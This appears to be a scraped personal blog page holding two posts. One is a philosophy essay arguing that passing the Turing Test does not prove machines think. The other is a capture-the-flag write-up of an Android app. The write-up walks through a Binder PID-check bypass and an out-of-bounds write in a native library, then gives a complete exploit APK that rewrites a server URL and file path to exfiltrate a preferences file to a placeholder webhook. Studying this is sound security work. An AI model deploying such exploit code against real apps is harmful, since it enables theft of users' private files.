cato447 // blog

Can computers think?

2026-07-06T00:00:00+00:00

Why passing the Turing Test is not enough

Introduction</h2>
In the past few years multiple claims have been made that a machine, specifically a large language model (LLM), passed the Turing Test. Turing himself predicted that by the year 2000 machines would play the test well enough that an interrogator would correctly identify them no more than 70% of the time when questioned for five minutes ^{1</a>. The Turing Test is widely seen by the public as one of the main metrics to measure the general intelligence of AI Systems, and by extension computers 2</a>3</a>.}
One might conclude then that this is proof that the main question of this essay has already been answered and there is nothing more to discuss.
I will argue that passing the Turing Test cannot demonstrate that computers can think.
The Imitation Game</h2>
Turing acknowledged that the question "Can machines think?" is too vague to answer meaningfully, since the words "machine" and "think" resist clear definition. Rather than getting stuck in a philosophical debate, he replaced the original question with a concrete test.
An interrogator (C) sits in a separate room and exchanges written messages with two hidden participants A and B, communicating only through typed text so that voice and appearance give nothing away. A is a man and B is a woman and C must determine which is which. The man (A) tries to deceive the interrogator (C) into the wrong identification, while the woman (B) tries to help C identify her correctly.
Turing then proposed: What happens when a machine takes the part of A? The machine succeeds if the interrogator decides wrongly as often as when the game is played between a man and a woman. Essentially this answers the question if a machine can imitate a human convincingly enough that C can no longer reliably tell the difference. Turing named it the Imitation Game. This test does not answer the original question as we can not conclude on the basis of this test that the machine actually behaves like a human but Turing argues that if the machines responses are indistinguishable from the human ones, we have no good grounds to deny it is "thinking" regardless of how it produces those responses 1</a>.
The Imitation Game's primary purpose is of philosophical nature to replace an elusive question with an operational one rather than to define an engineering benchmark. It enabled Turing to argue in favor of machines eventually being capable of thinking.
Its intuitive appeal and the later label "Turing Test" contributed to a popular-culture shift in which it is often treated as a definitive measure of general intelligence 2</a>3</a>.
Adequacy as a measure</h2>
Searle formulated the Chinese Room as a critique of the simplification that mere imitation is enough to prove that a computer can think.
The Chinese Room argument builds a scenario in which an English native speaker is locked in a room with appropriate instructions that enable them to appear to the outside world like a Chinese native speaker despite not understanding any Chinese. This construction makes it impossible for a third party to decide if the human in the room can understand Chinese or is just mindlessly following instructions based just on the observations alone. Searle argues on this basis that imitation itself is no proof that a system understands as formal symbols carry no intrinsic meaning 4</a>.
Harnad
Passing the Turing Test</h2>
With the invention and recent improvements of LLMs humans are capable of building machines that are able to pass the Turing Test. Jones & Bergen showed in their paper that GPT 4.5 with a humanlike persona was judged to be the human 73% of the time, significantly more often than interrogators selected the real human participant. Without the persona prompt its win rate dropped to about 36% 5</a>. As a result we can conclude that LLMs are capable of passing the Turing Test under controlled conditions.
The inability of LLMs</h2>
Systems, which are trained on text alone can never learn meaning, because meaning arises from the relationship between language and the surrounding world 6</a>.
LLMs are trained by feeding astronomically large amounts of text into Transformer Models. They were never designed to think but to predict the next token based on statistical patterns. I argue that they serve as the realization of the hypothetical digital computer mentioned in the Chinese Room argument where the rule book is given by the trained weights, the Chinese symbols are equivalent to the processed tokens and the room being the transformer architecture.
Conclusion</h2>
It seems like the focus on Turing Tests was pointless and we gained nothing from it. This is false because we now have strong reasons to think that mere imitation is not equivalent to thinking however we may define this term. Following the argument of equivalence of LLMs to the hypothetical digital computers in the Chinese room thought experiment we can deduce that next-token prediction alone is not thinking. A truly intelligent system has to have access to more knowledge about the world than just in textual form following the theory of symbol grounding. There is also a need for better evaluation methods to test the intelligence of improved LLMs or completely novel systems.

^{1
Turing, A. M. (1950). Computing Machinery and Intelligence.
</div>}
^{2
Mitchell, M. (2024). The Turing Test: Our Salvation?
</div>}
^3
Mere Imitation — AI: Our Salvation</a>. </div>
^{4
Searle, J. R. (1980). Minds, Brains, and Programs.
</div>
^{5
Jones, B. & Bergen, B. (2026). Large Language Models Pass the Turing Test.
</div>
^{6
Bender, E. M. et al. (2020). Climbing towards NLU: On Meaning, Form, and Understanding in the Age of Data.
</div>}}}

Peaky Binders

2026-03-20T00:00:00+00:00

In this challenge we are given a Peaky Binders APK. The attacker can supply an APK that is executed on the same phone as the Peaky Binders APK.
Opening the apk with jadx a package named com.peaky.binders</code> is the main focus of the investigation.
The package consists of following files:
peaky.binders ├── AchievementAdapter.java ├── Achievement.java ├── C0842R.java ├── IPeakyService.java ├── MainActivity$$ExternalSyntheticLambda0.java ├── MainActivity$$ExternalSyntheticLambda1.java ├── MainActivity$$ExternalSyntheticLambda2.java ├── MainActivity.java ├── PeakyService.java └── WhiskeyTastingActivity.java</code></pre>
Triage</h3>
The app seems to be used as an Achievement Tracker:

Join the Shelby Family -> Enter your name to unlock</li>
A true regular of the Garrison -> Visit the Garrison often</li>
You've gained admin privileges -> Find the secret command</li> </ol>
The first two achievements are trivial. For the first you have to enter a name containing shelby</code>. The second requires to press a button twenty times.
The PeakyService is an exported Android Service that exposes a custom Binder interface. Through this interface, it allows external processes interact with three specific methods: DebugCheckFile</code>, isAchievmentUnlocked</code> and enableDebugMode</code>.
The function DebugCheckFile</code> unlocks the third achievement. This has to be the secret command.
public void DebugCheckFile(byte[] bArr) throws RemoteException { int callingPid = Binder.getCallingPid(); if (callingPid != 0) { Log.d("PeakyService", "We allow a root process only: " + callingPid); PeakyService.this.logToFile("DebugCheckFile called - rejected, PID: " + callingPid); return; } Log.d("PeakyService", "Called from a root process: " + callingPid); PeakyService.this.logToFile("DebugCheckFile called from root process - PID: " + callingPid); //[28 lines of Code removed for clarity] Intent intent = new Intent(PeakyService.ACTION_ACHIEVEMENT_UNLOCKED); intent.putExtra(PeakyService.EXTRA_ACHIEVEMENT_INDEX, 2); PeakyService.this.sendBroadcast(intent); }</code></pre>
Bypass the root requirement</h3>
To unlock the third achievement we have to call the method from a process with PID = 0</code>. Usually having a PID of 0</code> is not possible for normal user space processes. Thankfully the Android API helps us out.
The Android API reference</a> for Binder.getCallingPid</code> states the following:
Warning do not use this as a security identifier! PID is unreliable as it may be re-used. This should mostly be used for debugging. oneway transactions do not receive PID. Even if you expect a transaction to be synchronous, a misbehaving client could send it as a asynchronous call and result in a 0 PID here. </blockquote> The wrongful usage of Binder.getCallingPid</code> as an authorization mechanism makes the PID check trivial to pass. private void sendOnewayTransaction(byte[] payload) throws RemoteException { Parcel data = Parcel.obtain(); data.writeInterfaceToken(TOKEN); data.writeByteArray(payload); // 1 = IBinder.FLAG_ONEWAY (Bypasses the PID 0 check) peakyBinder.transact(TRANSACTION, data, null, 1); data.recycle(); }</code></pre> Wuhu we got the third achievement! I hoped that the flag is then somehow shown on the screen but this was not the case. Further analysis</h3> I left out 28 lines of code from DebugCheckFile</code> earlier: String str = new String(bArr); PeakyService.this.logToFile("Caller name: ".concat(str)); String[] strArrRetrieveLog = PeakyService.this.RetrieveLog(str); if (strArrRetrieveLog != null && strArrRetrieveLog.length == 2) { final String serverUrl = strArrRetrieveLog[0]; final String log_content = strArrRetrieveLog[1]; Log.d("PeakyService", "DEBUG serverUrl: " + serverUrl); Log.d("PeakyService", "DEBUG logContent length: " + log_content.length()); PeakyService.this.logToFile("DEBUG serverUrl: " + serverUrl); new Thread(new Runnable() { // from class: com.peaky.binders.PeakyService.1.1 @Override // java.lang.Runnable public void run() { try { HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(serverUrl + "/logs/").openConnection(); httpURLConnection.setRequestMethod("POST"); httpURLConnection.setDoOutput(true); httpURLConnection.setRequestProperty("Content-Type", "text/plain"); OutputStream outputStream = httpURLConnection.getOutputStream(); outputStream.write(log_content.getBytes()); outputStream.flush(); outputStream.close(); Log.d("PeakyService", "HTTP Response: " + httpURLConnection.getResponseCode()); httpURLConnection.disconnect(); } catch (Exception e) { Log.e("PeakyService", "Failed to send logs: " + e.getMessage()); } } }).start(); }</code></pre> DebugCheckFile</code> sends logs to some server. The log content and the server URL come from RetrieveLog</code>. This seems to be some functionality for debugging or telemetry purposes. Weaponizing telemetry</h3> RetrieveLog is not in the Java code. It is defined in a separate compiled Binary named libpeaky.so</code>. static { System.loadLibrary("peaky"); debugMode = false; } public native String[] RetrieveLog(String str);</code></pre> Using IDA I found out that the Java string that is passed to the function is consumed by sscanf(callerNameCStr, "%15[^:]:%d:%c", callerTag, &partialOffset, &separatorChar)</code>. By examining the callerTag comparisons in the decompiled source, I identified two valid commands: FULL</code> and PARTIAL</code>. Both commands are nearly identical: each opens a file, reads its final 2048 bytes into a buffer, and returns that buffer along with a URL. The URL serves as the target to which the buffer's contents are sent as we have already seen. The only difference is that the PARTIAL</code> command additionally writes separatorChar</code> into the buffer at partialOffset</code> before returning. This is the logic for writing the separator into the buffer: if ( *(_QWORD *)callerTag == 'LAITRAP' ) // If PARTIAL set separator { clampedOffset = partialOffset; if ( partialOffset >= 2049 ) { __android_log_print(3, "PeakyNative", "Offset is larger than buffer size"); clampedOffset = 2048; } separatorPos = (unsigned int)(2048 - clampedOffset); __android_log_print( 3, "PeakyNative", "DEBUG writing separator '%c' at content[%d]", (unsigned int)separatorChar, 2048 - clampedOffset); g_fileBuffer[separatorPos] = separatorChar; }</code></pre> The vulnerability lies in the fact that both clampedOffset</code> and partialOffset</code> are signed integers. The upper bound check partialOffset >= 2049</code> correctly rejects values that are too large, but there is no lower bound check. Negative values pass through unconstrained. When calmpedOffset</code> is negative the subtraction wraps upwards. 2048 - (-1) = 2049</code></pre> g_fileBuffer[2049]</code> is one byte past the end of the buffer, which lands exactly on g_serverUrl[0]</code>. More generally, to write to g_serverUrl[i]</code> we need separatorPos = 2049 + i</code> 2048 - clampedOffset = 2049 + i clampedOffset = -(1 + i)</code></pre> This gives an attacker byte-by-byte control over g_serverUrl</code>. The same technique applies to g_logFilePath</code>, which sits 65 bytes past the end of the buffer. The relevant memory layout in .data is: g_fileBuffer @ 0x39D8 (2049 bytes, ends at 0x41D8) g_serverUrl @ 0x41D9 (64 bytes) g_logFilePath @ 0x4219 (64 bytes)</code></pre> By overwriting g_serverUrl</code> to an attacker-controlled server and g_logFilePath</code> to any file on the device an attacker can read any arbitrary file and exfiltrate data to any URL. Flag location</h3> We still need to find the Flag. At this point I remembered that the achievements are loaded on start from a file. This indicates that the app as some form of context or environment variables. private SharedPreferences prefs; private static final String PREFS_NAME = "PeakyPrefs"; protected void onCreate(Bundle bundle) { ... this.prefs = getSharedPreferences(PREFS_NAME, 0); ... loadProgress(); } private void loadProgress() { this.whiskeyClicks = this.prefs.getInt(KEY_WHISKEY_CLICKS, 0); if (this.prefs.getBoolean(KEY_ACHIEVEMENT_1, false)) { this.achievements.get(0).setUnlocked(true); } if (this.prefs.getBoolean(KEY_ACHIEVEMENT_2, false)) { this.achievements.get(1).setUnlocked(true); } if (this.prefs.getBoolean(KEY_ACHIEVEMENT_3, false)) { this.achievements.get(2).setUnlocked(true); } this.adapter.notifyDataSetChanged(); }</code></pre> I asked Claude where these SharedPreferences are stored. It told me that the standard path is /data/data/<package_name>/shared_prefs/<PREFS_NAME>.xml</code>. Writing the Exploit</h3> This challenge is special to me because we are not given a url with a port by the organizers to attack but a portal where we can upload APKs. As I never wrote an APK before and had no Idea how to handle IPC on Android I generated the following exploit with Claude. It feels a bit filthy but trying to first blood the challenge made me rush. In summary the malicious APK overwrites the webhook URL and the filepath byte per byte and triggers a full read at the end. To circumvent the PID == 0</code> check the sendOnewayTransaction</code> function from above is used. package com.hacker.exploit; import android.app.Activity; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.content.ServiceConnection; import android.os.Bundle; import android.os.IBinder; import android.os.Parcel; import android.os.RemoteException; import android.util.Log; public class MainActivity extends Activity { private static final String TAG = "Exploit"; private IBinder peakyBinder; private static final String WEBHOOK_URL = "<WEBHOOK_URL>"; private static final String TARGET = "/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml"; private ServiceConnection connection = new ServiceConnection() { @Override public void onServiceConnected(ComponentName name, IBinder service) { Log.d(TAG, "Connected to PeakyService!"); peakyBinder = service; new Thread(() -> runExploit()).start(); } @Override public void onServiceDisconnected(ComponentName name) { Log.d(TAG, "Disconnected!"); } }; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Log.d(TAG, "Starting exploit app"); Intent intent = new Intent(); intent.setClassName("com.peaky.binders", "com.peaky.binders.PeakyService"); bindService(intent, connection, Context.BIND_AUTO_CREATE); } private void runExploit() { try { Log.d(TAG, "Overwriting Webhook URL"); for (int i = 0; i < WEBHOOK_URL.length(); i++) { sendOnewayTransaction(("PARTIAL:" + (-(1 + i)) + ":" + WEBHOOK_URL.charAt(i)).getBytes()); Thread.sleep(50); } // separatorChar defaults to 0x00 sendOnewayTransaction(("PARTIAL:" + (-(1 + WEBHOOK_URL.length())) + ":").getBytes()); for (int i = 0; i < TARGET.length(); i++) { sendOnewayTransaction(("PARTIAL:" + (-(65 + i)) + ":" + TARGET.charAt(i)).getBytes()); Thread.sleep(50); } Log.d(TAG, "Exploit sent! Check your webhook."); } catch (Exception e) { Log.e(TAG, "Exploit failed", e); } } private void sendOnewayTransaction(byte[] payload) throws RemoteException { Parcel data = Parcel.obtain(); data.writeInterfaceToken("com.peaky.binders.IPeakyService"); data.writeByteArray(payload); // 1 = TRANSACTION_DebugCheckFile // 1 = IBinder.FLAG_ONEWAY (Bypasses the PID 0 check!) peakyBinder.transact(1, data, null, 1); data.recycle(); } } </code></pre>Conclusion</h3> I am happy that the flag was indeed stored at /data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml</code>. At the time I had no further ideas where the flag could be hidden. This challenge was a lot of fun and showed once again how important it is to use APIs only for their intended purpose especially when they are used to implement a security measure.

cato447 // blog

Can computers think?

Peaky Binders

Triage</h3> The app seems to be used as an Achievement Tracker:</p>

Bypass the root requirement</h3> To unlock the third achievement we have to call the method from a process with PID = 0</code>. Usually having a PID of 0</code> is not possible for normal user space processes. Thankfully the Android API helps us out.</p>